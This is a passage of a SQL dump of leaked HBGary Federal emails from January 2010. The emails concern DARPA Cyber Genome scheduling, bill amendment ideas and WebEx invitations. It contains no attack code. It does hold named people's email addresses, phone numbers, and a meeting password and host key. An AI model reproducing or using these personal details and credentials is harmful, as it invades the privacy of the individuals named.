<aaron@hbgary.com>','/aaron@hbgary.com/new/1297000520.M20076P3547Q1673.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Cyber Genome Proposers Day','What does that mean.AaronOn Jan 28, 2010, at 9:35 AM, Ted Vera wrote:Begin forwarded message:From: \"Blankenship, Larry (contr-sto)\" &lt;Larry.Blankenship.ctr@darpa.mil&gt;\r\nDate: January 28, 2010 4:42:42 AM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: RE: Cyber Genome Proposers Day\r\nHi Ted,Aaron Barr can attend both sessions, but will have to be prioritized behind all other new participants on the second day in order to allow for fairness.\r\nV/rLarry-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, January 27, 2010 4:51 PMTo: Blankenship, Larry (contr-sto)Subject: Re: Cyber Genome Proposers DayHi Larry,\r\nI have a quick question. &nbsp;HBGary Federal is a separate company fromHBGary (although the two are affiliated). &nbsp;HBGary has registered threepeople to attend. &nbsp;HBGary Federal has registered two to attend. &nbsp;Will\r\nthis be a problem?One attendee, Aaron Barr has registered for and intends to attend bothsessions (Jan &amp; Feb). &nbsp;Is this ok?Regards,\r\nTedOn Wed, Jan 27, 2010 at 6:23 AM, Blankenship, Larry (contr-sto)&lt;Larry.Blankenship.ctr@darpa.mil&gt; wrote:\r\nGreetings Mr. Vera and Mr. Stoopin,After reviewing the individual session requests, we realized that your company has two slots (Raytheon &amp; HBGary). &nbsp;Please coordinate between your company and provide a single POC for the individual session requests. &nbsp;I will hold the 1400-1430 slot awaiting your decision, but will place the 1430-1500 slot back into the pool.\r\nAdditionally, please note that attendance to the proposer\'s day itself may be limited to three individuals per organization.\r\nI apologize for any confusion in this matter. &nbsp;Please feel free to call me to discuss further.\r\nV/rLarry Blankenship\r\nSETA DARPA/STO703-248-1511\r\n-----Original Message-----From: Blankenship, Larry (contr-sto)\r\nSent: Wednesday, January 27, 2010 7:48 AMTo: \'Ted Vera\'Cc: Moore, Renee (contr-sto)\r\nSubject: RE: Cyber Genome Proposers DayGreetings Mr. Vera,\r\nI have your company scheduled from 1430-1500 with Dr. VanPutte. &nbsp;Please limit your conversation to the time allotted as Dr. VanPutte wants to be fair to all visitors. &nbsp;To assist in keeping your ideas in line with DARPA\'s objectives, and to make your discussion as enriching as possible, may I suggest you canvas your ideas against the Heilmeier Catechism prior to your arrival;\r\n-What are you trying to do? Articulate your objectives using absolutely no jargon.\r\n-How is it done today, and what are the limits of current practice?-What\'s new in your approach and why do you think it will be successful?\r\n-Who cares? If you\'re successful, what difference will it make?-What are the risks and the payoffs?\r\n-How much will it cost? How long will it take?-What are the midterm and final \"exams\" to check for success?\r\nI am looking forward to seeing you at the proposer\'s day.\r\nV/rLarry\r\nLarry BlankenshipSETA/DARPA STO703-248-1511\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tuesday, January 26, 2010 6:15 PMTo: Blankenship, Larry (contr-sto)Subject: Cyber Genome Proposers Day\r\nHello Mr. Blankenship,\r\nHBGary would like to schedule and individual session with Dr. VanPutte to discuss the Cyber Genome Project after the February 9th Proposers day.\r\nRegards,Ted Vera\r\nTed H. VeraPresident | COOHB Gary Federal\r\nted@hbgary.comOffice: &nbsp;916-459-4727 ext 118\r\nCell: &nbsp;719-237-8623\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13384,'aaron_hbgary_com/13384.html'),(1674,'2010-01-28','\"Grosvenor, Anne\" <agrosvenor@sysplan.com>','/aaron@hbgary.com/new/1297000520.M237593P3547Q1674.eml','anne.grosvenor.ctr@darpa.mil','DARPA\'s Cyber Genome Proposers Day TOMORROW','\r\n\r\n\r\n\r\n\r\nDARPA\'s Cyber Genome Proposers Day TOMORROW\r\n\r\n\r\n\r\n\r\nThank you for registering for the DARPA Cyber Genome Proposers Day.&nbsp; \r\n\r\nIn order to attend the meeting you will need to fill out the attached Citizenship Verification form.&nbsp;&nbsp; Due to the last minute nature of this request, you may fill it out on your own rather than having your security department do this.&nbsp; Please sign the form and bring it with you, along with a government issued ID, to check in tomorrow morning.&nbsp; There will also be plenty of blank copies on hand tomorrow if you cannot print and sign this form before the meeting.&nbsp; Registration begins at 7:00am and the meeting begins at 8:00am.&nbsp;&nbsp; \r\n\r\n &lt;&lt;Citizenship Verification Form.doc&gt;&gt;  \r\n\r\nAnne Grosvenor\r\n\r\nSystem Planning Corporation\r\n\r\nagrosvenor@sysplan.com\r\n\r\nanne.grosvenor.ctr@darpa.mil\r\n\r\n703-351-8794\r\n\r\n\r\n\r\n\r\n',4070,'aaron_hbgary_com/4070.html'),(1675,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000520.M441066P3547Q1675.eml','\"Phil Wallisch\" <phil@hbgary.com>','HBGary Demo','Phil,\r\n\r\nCan you support a webex demo 6pm your time next tuesday, the 2nd.\r\n\r\nTed and I will be in Colorado Springs in a meeting with some TASC folks.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15389,'aaron_hbgary_com/15389.html'),(1676,'2010-01-28','\"Winterfeld, Steven P (TASC Inc)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297000520.M806590P3547Q1676.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: request for amendments - cyber bill','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThese\r\nare the keys and probably needs more detail but here are my suggestions.&nbsp; Would\r\nbe happy to work on expanding the ideas that might go in. \r\n\r\n&nbsp;\r\n\r\nR&amp;D\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThere\r\nare two underlying issues that must be dealt with up front \r\n\r\no&nbsp;&nbsp; Taxonomy &#8211; need\r\ngoverning body that standards terms and definitions (this should be international)\r\n\r\no&nbsp;&nbsp; Metrics &#8211; need to\r\npush for industry standards, legal definitions and body of data similar to actuarial\r\ntables for insurance industry &nbsp;&nbsp;&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBreak\r\nout of key issues that need to focus funding on to fix most critical security\r\nproblems &nbsp;\r\n\r\no&nbsp;&nbsp; Extremely Difficult\r\n&#8211; Attribution, Deterrence, Supply Chain, Resilience\r\n\r\no&nbsp;&nbsp; Very Difficult\r\n&#8211; Situational Awareness,&nbsp; Trustworthy Operations, Chain of Trust \r\n\r\no&nbsp;&nbsp; Difficult &#8211;\r\nMetrics, Auditing, Data Protection \r\n\r\no&nbsp;&nbsp; Expensive &#8211;\r\nInsider Threat, IDS\r\n\r\ncyber\r\nworkforce\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNeed\r\nprograms to teach general user and separate program for acquisitions forces to\r\nhelp them write cyber requirements and finally a tech track for folks who work\r\non the systems so they understand both why and how to secure the systems \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWould\r\npush for tech coaching / mentorship programs to grow current base into tech\r\nexperts (need incentives) \r\n\r\nstrategic\r\nplanning\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNeed\r\ndoctrine &#8211; both diplomatic and military \r\n\r\no&nbsp;&nbsp; We had MAD now we\r\nneed a cyber deterrence model &nbsp;\r\n\r\nsocial\r\nand behavioral cyber research\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFocus\r\nhere should be how to influence the general population to be more secure\r\n\r\no&nbsp;&nbsp; Much like the Smokey\r\nthe Bear campaign against forest fires or the American Indian campaign against\r\nlittering \r\n\r\no&nbsp;&nbsp; This includes\r\ntracking where the threats are (cyber bulling, identity thief, sexual predators&#8230;)\r\n\r\n\r\nthe\r\nfocus of NSF grants (same as research focus) \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThere\r\nare two underlying issues that must be dealt with up front \r\n\r\no&nbsp;&nbsp; Taxonomy &#8211; need\r\ngoverning body that standards terms and definitions (this should be international)\r\n\r\no&nbsp;&nbsp; Metrics &#8211; need to\r\npush for industry standards, legal definitions and body of data similar to actuarial\r\ntables for insurance industry &nbsp;&nbsp;&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBreak\r\nout of key issues that need to focus funding on to fix most critical security\r\nproblems &nbsp;\r\n\r\no&nbsp;&nbsp; Extremely Difficult\r\n&#8211; Attribution, Deterrence, Supply Chain, Resilience\r\n\r\no&nbsp;&nbsp; Very Difficult\r\n&#8211; Situational Awareness,&nbsp; Trustworthy Operations, Chain of Trust \r\n\r\no&nbsp;&nbsp; Difficult &#8211;\r\nMetrics, Auditing, Data Protection \r\n\r\no&nbsp;&nbsp; Expensive &#8211;\r\nInsider Threat, IDS\r\n\r\nscholarship\r\nfor service\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWould\r\nlook at expanding this to High School summer jobs and college internships (need\r\nto hook them early) \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWould\r\npush for tech coaching / mentorship programs to grow current base into tech\r\nexperts (need incentives) \r\n\r\nNIST\r\nresearch\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWould\r\nask them to work to set standards for research, engage international communities,\r\nestablish more cross function committees and act as gov single point of contact\r\nto track all cyber related research (allowing agencies to quickly see what is\r\nbeing done and facilitate collaboration) &nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey\r\nshould be the lead to solve the two underlying issues that must be dealt with\r\nup front \r\n\r\no&nbsp;&nbsp; Taxonomy &#8211; need\r\ngoverning body that standards terms and definitions (this should be international)\r\n\r\no&nbsp;&nbsp; Metrics &#8211; need to\r\npush for industry standards, legal definitions and body of data similar to actuarial\r\ntables for insurance industry &nbsp;&nbsp;&nbsp;\r\n\r\ninternational\r\nstandards\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWould\r\nlook at through the instruments of national power \r\n\r\no&nbsp;&nbsp; Diplomatic &#8211; we\r\nneed to focus on criminal agreements and freedom of info for Human Rights\r\n\r\no&nbsp;&nbsp; Info &#8211; we need\r\nto focus on both info collection from open source to determine culture of internet\r\nand info distribution to ensure we are broadcasting the messages we want (this\r\nneeds to be done as a integrated plan) \r\n\r\no&nbsp;&nbsp; Military &#8211; we need\r\ndoctrine on how we will fight a pure cyber war and how we will use cyber to enhance\r\nour real world combat forces \r\n\r\no&nbsp;&nbsp; Econ &#8211; we need\r\nto make sure we are keeping the playing field level for US companies, most of\r\nthis is about protecting critical infrastructure and commercial proprietary data\r\n\r\n\r\nidentity\r\nmanagement\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNeed\r\nboth legal and technical methods to ensure attribution &#8211; for now would\r\nfocus on how to prevent identity theft through idiot proof technology (it maybe\r\nrequirement for everyone to use a Common Access Card (CAC) for all financial\r\ntransactions) &nbsp;&nbsp;\r\n\r\ncyber\r\nawareness into legislation\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThink we need to start with cyber education for legislators! &nbsp;This\r\nissue is part of the foundation for all the other issues they deal with. &nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 27, 2010 5:21 PM\r\nTo: Winterfeld, Steven P (TASC Inc)\r\nSubject: Fwd: request for amendments - cyber bill\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTake a look.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Olcott,\r\nJacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nDate: January 27, 2010 6:45:14 PM EST\r\nTo: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nSubject: request for amendments - cyber bill\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOne\r\nof the interesting things about working for Congress is that you can go long\r\nstretches of time where you never seem to have traction on an issue, and then\r\nsuddenly a window of opportunity presents itself and you have a brief moment to\r\ntake advantage of it.&nbsp; This is one of those moments for cybersecurity here\r\nin the House of Reps.\r\n\r\n&nbsp;\r\n\r\nSeveral months ago, the Science and Technology Committee\r\nmarked up a Cyber R&amp;D bill.&nbsp; You can find the bill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf.&nbsp;\r\nAs you can tell, this was a fairly noncontroversial bill.&nbsp; The\r\nSpeaker&#8217;s office decided today that they want this bill on the floor next\r\nweek (likely Wednesday or Thursday).&nbsp; \r\n\r\n&nbsp;\r\n\r\nHere&#8217;s\r\nhow the procedure works.&nbsp; Members are allowed to write amendments to the\r\nbill.&nbsp; They submit them to the Rules Committee.&nbsp; On Monday night, the\r\nRules Committee will consider those amendments, and rule them either &#8220;in\r\norder&#8221; or &#8220;out of order.&#8221;&nbsp; Amendments are supposed to be\r\n&#8220;germane&#8221; to the section of the bill that is being amended (there\r\nis a test for this, but basically an amendment has to relate to the subject\r\nmatter under consideration).&nbsp; Amendments that are ruled &#8220;in\r\norder&#8221; can then be raised by that member on the floor &#8211; and put to\r\na vote of the House.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAs\r\nyou can see from the text, the bill contains provisions on R&amp;D, cyber\r\nworkforce, strategic planning, social and behavioral cyber research, the focus\r\nof NSF grants, scholarship for service, NIST research, international standards,\r\nidentity management, cyber awareness into legislation.&nbsp; Lots of good and\r\ninteresting subjects that can be improved and enhanced through the amendment\r\nprocess.&nbsp; For those looking for an opportunity, this is a great way\r\nto address some of these issues in a bill that will be voted on by the House of\r\nRepresentatives.&nbsp; &nbsp;\r\n\r\n&nbsp;\r\n\r\nMembers\r\nhave already been asking me for amendments, and I am busy drafting.&nbsp; You\r\nare a trusted ally, and I would really appreciate if you can take a look at\r\nthis bill, see if you have some ideas about ways to improve it, and send them\r\nto me.&nbsp; Please be creative!&nbsp; I will take your\r\nsubmissions, turn them into amendment language, and send them to members who\r\nare interested in amending this bill.\r\n\r\n&nbsp;\r\n\r\nSorry\r\nfor the late notice, but I need your proposals by not later than FRIDAY\r\nat NOON.&nbsp; If you&#8217;re not comfortable drafting an amendment,\r\nfeel free to submit an &#8220;idea&#8221; to me and I will do my best to turn\r\nit into legislative language that the members can use.\r\n\r\n&nbsp;\r\n\r\nThanks\r\nfor your help.\r\n\r\n&nbsp;\r\n\r\nJake\r\n\r\n&nbsp;\r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and Counsel\r\n\r\nEmerging Threats, Cybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland Security (Majority)\r\n\r\n202-226-2623\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13755,'aaron_hbgary_com/13755.html'),(1677,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000521.M183604P3547Q1678.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,,,','Re: DARPA\'s Cyber Genome Proposers Day TOMORROW','Yep.From my iPhoneOn Jan 28, 2010, at 10:16 AM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nLooks like I got in for tomorrow.  Did anyone else get this?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Grosvenor, Anne\r\n[mailto:agrosvenor@sysplan.com] \r\nSent: Thursday, January 28, 2010 10:02 AM\r\nTo: anne.grosvenor.ctr@darpa.mil\r\nSubject: DARPA&#39;s Cyber Genome Proposers Day TOMORROW\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThank you for registering\r\nfor the DARPA Cyber Genome Proposers Day.  \r\n\r\nIn order to attend the\r\nmeeting you will need to fill out the attached Citizenship Verification\r\nform.   Due to the last minute nature of this request, you may fill\r\nit out on your own rather than having your security department do this. \r\nPlease sign the form and bring it with you, along with a government issued ID,\r\nto check in tomorrow morning.  There will also be plenty of blank copies on hand tomorrow if you cannot print and sign\r\nthis form before the meeting.  Registration begins at 7:00am and the\r\nmeeting begins at\r\n8:00am.   \r\n\r\n&lt;&lt;Citizenship\r\nVerification Form.doc&gt;&gt; \r\n\r\nAnne\r\nGrosvenor\r\n\r\nSystem\r\nPlanning Corporation\r\n\r\nagrosvenor@sysplan.com\r\n\r\nanne.grosvenor.ctr@darpa.mil\r\n\r\n703-351-8794\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Citizenship Verification Form.doc&gt;\r\n',7846,'aaron_hbgary_com/7846.html'),(1678,'2010-01-28','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000521.M394520P3547Q1679.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,,','RE: DARPA\'s Cyber Genome Proposers Day TOMORROW','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nrgr\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 10:18 AM\r\nTo: Rich Cummings\r\nCc: Ted Vera; Greg Hoglund; Penny C. Leavy; Bob Slapnik; Matt O\'Flynn;\r\nPhil Wallisch\r\nSubject: Re: DARPA\'s Cyber Genome Proposers Day TOMORROW\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYep.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 28, 2010, at 10:16 AM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooks\r\nlike I got in for tomorrow.&nbsp; Did anyone else get this?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Grosvenor, Anne\r\n[mailto:agrosvenor@sysplan.com] \r\nSent: Thursday, January 28, 2010 10:02 AM\r\nTo: anne.grosvenor.ctr@darpa.mil\r\nSubject: DARPA\'s Cyber Genome Proposers Day TOMORROW\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThank you for registering\r\nfor the DARPA Cyber Genome Proposers Day.&nbsp; \r\n\r\nIn order to attend the meeting\r\nyou will need to fill out the attached Citizenship Verification\r\nform.&nbsp;&nbsp; Due to the last minute nature of this request, you may fill\r\nit out on your own rather than having your security department do this.&nbsp;\r\nPlease sign the form and bring it with you, along with a government issued ID,\r\nto check in tomorrow morning.&nbsp; There will also be plenty of blank copies on hand tomorrow if you cannot print and sign\r\nthis form before the meeting.&nbsp; Registration begins at 7:00am and the\r\nmeeting begins at\r\n8:00am.&nbsp;&nbsp; \r\n\r\n&lt;&lt;Citizenship\r\nVerification Form.doc&gt;&gt; \r\n\r\nAnne\r\nGrosvenor\r\n\r\nSystem\r\nPlanning Corporation\r\n\r\nagrosvenor@sysplan.com\r\n\r\nanne.grosvenor.ctr@darpa.mil\r\n\r\n703-351-8794\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Citizenship Verification Form.doc&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12005,'aaron_hbgary_com/12005.html'),(1679,'2010-01-28','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000521.M692871P3547Q1680.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: DARPA BAA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for sending Bob.&nbsp; I looked these over NIST Programs and\r\nthe last update to the Common Malware Enumeration Program page was 4 years ago.\r\n&nbsp;&nbsp;I think this has been scrapped so that Carnegie Mellon can come up with something\r\nnew and fresh.. this CMEP is so outdated from my perspective&#8230;\r\n\r\n\r\nHopefully what they are putting together is more robust.\r\n\r\n&nbsp;\r\n\r\nrich \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, January 27, 2010 7:55 PM\r\nTo: Aaron Barr\r\nCc: Penny Leavy; Greg Hoglund; Rich Cummings; Ted Vera\r\nSubject: Re: DARPA BAA\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThere is other activity out there to enumerate malware and\r\nsoftware.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMITRE has a project called &quot;Common Malware\r\nEnumeration&quot;.\r\n\r\n\r\n\r\n\r\n\r\nhttp://cme.mitre.org/\r\n\r\n\r\n\r\n\r\n\r\nLook a the links on the left for more info.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCommon Weakness Enumberation project from MITRE\r\n\r\n\r\n\r\n\r\n\r\nhttp://cwe.mitre.org/\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLink from NIST\r\n\r\n\r\n\r\n\r\n\r\nhttp://nvd.nist.gov/cwe.cfm\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPeople have told me that these projects are attempting to\r\ncreate a common language of describing digital objects.&nbsp; They suggested\r\nthat HBGary map its DDNA content into the CME framework as it could become a\r\nstandard.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt\'s is possible that DARPA has attached its thinking to\r\nanother framework which could increase our challenge.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Jan 27, 2010 at 5:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nAll,\r\n\r\nI would like to schedule a brief telecon tomorrow to discuss strategy\r\nfor the upcomg BAA and for those of us going to the industry days\r\ndiscuss what information we are conveying and interested in getting\r\nfrom potential partners. &nbsp;I will look for a good time on the calendar.\r\n\r\nAaron\r\n\r\n&nbsp;From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nBob Slapnik\r\nVice President\r\nHBGary, Inc.\r\n301-652-8885 x104\r\nbob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4585,'aaron_hbgary_com/4585.html'),(1680,'2010-01-28','messenger@webex.com','/aaron@hbgary.com/new/1297000521.M890757P3547Q1681.eml','aaron@hbgary.com','Meeting scheduled: DARPA Vendor Days','You are the host for this online meeting.   Topic: DARPA Vendor Days  Date: Thursday, January 28, 2010  Time: 3:00 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 573 376 701  Meeting Password: malware  Host Key: 397615 (use this to reclaim host privileges)   -------------------------------------------------------  To start the online meeting  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=139405527  2. Log in to your account.  3. Click \"Start Now\".  4. Follow the instructions that appear on your screen.   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=139405527&tollFree=0   Access code:573 376 701   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".  To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=139405527&UID=488445912&ICS=MS&LD=1&RD=2&ST=1&SHA2=EFzPWZuH0xE6l0I5Hy45dv0O4DOZZ7X1-9Ilkf6P71Y=   To check whether you have the appropriate players installed for UCF (Universal Communications Format) rich media files, go to https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com      ',14552,'aaron_hbgary_com/14552.html'),(1681,'2010-01-28','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000521.M9515P3547Q1677.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny C. Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: DARPA\'s Cyber Genome Proposers Day TOMORROW','\r\n\r\n\r\n\r\n\r\nDARPA\'s Cyber Genome Proposers Day TOMORROW\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLooks like I got in for tomorrow.&nbsp; Did anyone else get this?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Grosvenor, Anne\r\n[mailto:agrosvenor@sysplan.com] \r\nSent: Thursday, January 28, 2010 10:02 AM\r\nTo: anne.grosvenor.ctr@darpa.mil\r\nSubject: DARPA\'s Cyber Genome Proposers Day TOMORROW\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThank you for registering\r\nfor the DARPA Cyber Genome Proposers Day.&nbsp; \r\n\r\nIn order to attend the\r\nmeeting you will need to fill out the attached Citizenship Verification\r\nform.&nbsp;&nbsp; Due to the last minute nature of this request, you may fill\r\nit out on your own rather than having your security department do this.&nbsp;\r\nPlease sign the form and bring it with you, along with a government issued ID,\r\nto check in tomorrow morning.&nbsp; There will also be plenty of blank copies on hand tomorrow if you cannot print and sign\r\nthis form before the meeting.&nbsp; Registration begins at 7:00am and the\r\nmeeting begins at\r\n8:00am.&nbsp;&nbsp; \r\n\r\n&lt;&lt;Citizenship\r\nVerification Form.doc&gt;&gt; \r\n\r\nAnne\r\nGrosvenor\r\n\r\nSystem\r\nPlanning Corporation\r\n\r\nagrosvenor@sysplan.com\r\n\r\nanne.grosvenor.ctr@darpa.mil\r\n\r\n703-351-8794\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6027,'aaron_hbgary_com/6027.html'),(1682,'2010-01-28','\"Aaron Barr\" <messenger@webex.com>','/aaron@hbgary.com/new/1297000522.M162468P3547Q1682.eml','aaron@hbgary.com','(Forward to attendees) Meeting invitation: DARPA Vendor Days','**** You can forward this email invitation to attendees ****   Hello ,   Aaron Barr invites you to attend this online meeting.   Topic: DARPA Vendor Days  Date: Thursday, January 28, 2010  Time: 3:00 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 573 376 701  Meeting Password: malware    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=139405527&UID=0&PW=NMTJkNGU5ZWEx&RT=MiMxMQ%3D%3D  2. Enter your name and email address.  3. Enter the meeting password: malware  4. Click \"Join Now\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=139405527&UID=0&PW=NMTJkNGU5ZWEx&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=139405527&tollFree=0   Access code:573 376 701   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   aaron@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=139405527&UID=0&ICS=MI&LD=1&RD=2&ST=1&SHA2=kLd52P-FbFTWLpny3SFEMVnOoP-MlxjO59fzi0HEH0o=&RT=MiMxMQ%3D%3D   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join 